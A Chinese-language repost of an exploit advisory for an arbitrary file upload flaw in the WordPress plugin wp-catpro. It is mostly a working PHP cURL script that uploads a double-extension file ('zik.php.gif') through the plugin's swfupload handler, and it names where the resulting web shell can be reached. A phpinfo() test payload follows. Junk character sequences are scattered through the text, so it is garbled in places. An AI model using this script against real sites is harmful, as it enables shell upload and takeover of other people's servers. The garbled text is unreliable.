WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

& G8 }5 W8 d- n作者  => Zikou-16
邮箱 => zikou16x@gmail.com
0 a: ~, i: K' \% D测试系统 : Windows 7 , Backtrack 5r3
1 ]8 q% E! q( ~# ]下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####

#=> Exploit 信息:
------------------
' ]# o0 y0 _6 `7 N. @" N1 t2 R6 w# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
$ R4 q; t% `4 v  }# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
; r2 C* d# \! B------------------
) O# |3 |; ?7 r
1 O; R; }  C6 T9 g- B/ V! T#=> Exploit
' e& \/ `5 e0 I* A7 o, e-----------
) I2 |; N  _7 `! _<?php

$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
' s3 L& F0 }8 `8 _: ~curl_close($ch);
: y& Z8 K/ W1 C; U
print "$postResult";
+ T1 d" w' g. A
! G: @  n. |9 TShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
' U! }% F3 N/ j* ?" z" c# s: A3 w<?php
* f6 R5 G) Q1 Sphpinfo();
?>